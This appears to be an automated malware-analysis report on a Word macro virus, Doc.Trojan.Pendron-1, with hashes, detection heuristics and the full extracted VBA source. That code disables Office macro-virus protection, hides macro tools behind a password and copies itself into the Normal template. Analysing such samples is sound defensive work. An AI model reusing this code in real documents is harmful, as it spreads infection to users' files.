Doc.Trojan.Pendron-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 6743d49a51d7e3f8…

MALICIOUS

Office (OLE)

38.5 KB Created: 1999-06-07 08:25:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b04337dc8fe6526bc936247218848438 SHA-1: 5d837092e5f9d2e6356da08cae76e0485351790a SHA-256: 6743d49a51d7e3f8b3cc7335d7726c7625fbf0306b799e720a14e41d27332e5d
196 Risk Score

Malware Insights

Doc.Trojan.Pendron-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose, which are common for malicious documents. The 'ToolsMacro' subroutine prompts the user for a password using the string 'princess', indicating a social engineering attempt to bypass security or enable further execution. The ClamAV detection 'Doc.Trojan.Pendron-1' further supports its classification as a malicious document.

Heuristics 6

  • ClamAV: Doc.Trojan.Pendron-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pendron-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3209 bytes
SHA-256: 5624cb591aac5a0ce9ed5d02a8061e8b087cbd94259b57318017ce9f2fe424c6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "XBoss"
Sub Boss41()
On Error GoTo Cilaka
    Application.Run MacroName:="Normal.XBoss.ToolsCustomize"
    CommandBars("Tools").Controls(14).Delete
Cilaka:
End Sub
Sub ToolsCustomize()
End Sub
Sub ViewVBCode()
End Sub
Sub FilePrintPreview()
End Sub
Sub FilePrintPreviewFullScreen()
End Sub
Sub ToolsMacro()
masuk:
kode$ = "princess"
pass$ = InputBox("Enter Your Password", "Pendron Security", , 1, 1)
If pass$ <> kode$ Then GoTo Cilaka
Dialogs(wdDialogToolsMacro).Show
GoTo selesai
Cilaka:
MsgBox "You Wrong My Friend !!!", vbCritical, "Pendron GN'R Production"
GoTo masuk
selesai:
End Sub
Sub ToolsOptions()
End Sub
Sub FileSaveAs()
Attribute FileSaveAs.VB_Description = "Saves a copy of the document in a separate file"
Attribute FileSaveAs.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.FileSaveAs"
On Error GoTo XBoss
PlanetJangkit
TularComputer
XBoss:
End Sub
Sub AutoClose()
On Error GoTo XBoss
PlanetJangkit
TularComputer
XBoss:
End Sub
Sub AutoExec()
On Error GoTo XBoss
If WeekDay(Now()) = 6 And Day(Now()) = 11 Then
Assistant.Visible = True
With Assistant.NewBalloon
    .Icon = msoIconAlert
    .Heading = "Hallo Sobat Semua...."
    .Text = "Salam Buat Anak-Anak Gunadarma From Pendron"
    .Animation = msoAnimationEmptyTrash
    .Show
End With
End If
XBoss:
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Planet Computer\r\nSalam Buat Kamu semua"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.budi.AutoOpen"
On Error GoTo XBoss
Boss41
PlanetJangkit
TularComputer
XBoss:
End Sub
Sub PlanetJangkit()
On Error GoTo XBoss
Options.VirusProtection = False
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
        Options.VirusProtection = False
        Application.UserName = "Pendron"
        Application.UserInitials = "Gunadarma"
DocumentInstalled = False
Options.EnableSound = False
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
If NormalInstalled = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.Name, Name:="XBoss", Object:=wdOrganizerObjectProjectItems
    ActiveDocument.SaveAs FileName:=ActiveDocument.Name, FileFormat:=wdFormatTemplate
End If
XBoss:
End Sub
Sub TularComputer()
On Error GoTo XBoss
Options.VirusProtection = False
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
        Options.VirusProtection = False
        Application.UserName = "Pendron"
        Application.UserInitials = "Gunadarma"
DocumentInstalled = False
Options.EnableSound = False
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
If NormalInstalled = False Then
Application.OrganizerCopy Source:=ActiveDocument.Name, Destination:=NormalTemplate.FullName, Name:="XBoss", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
XBoss:
End Sub

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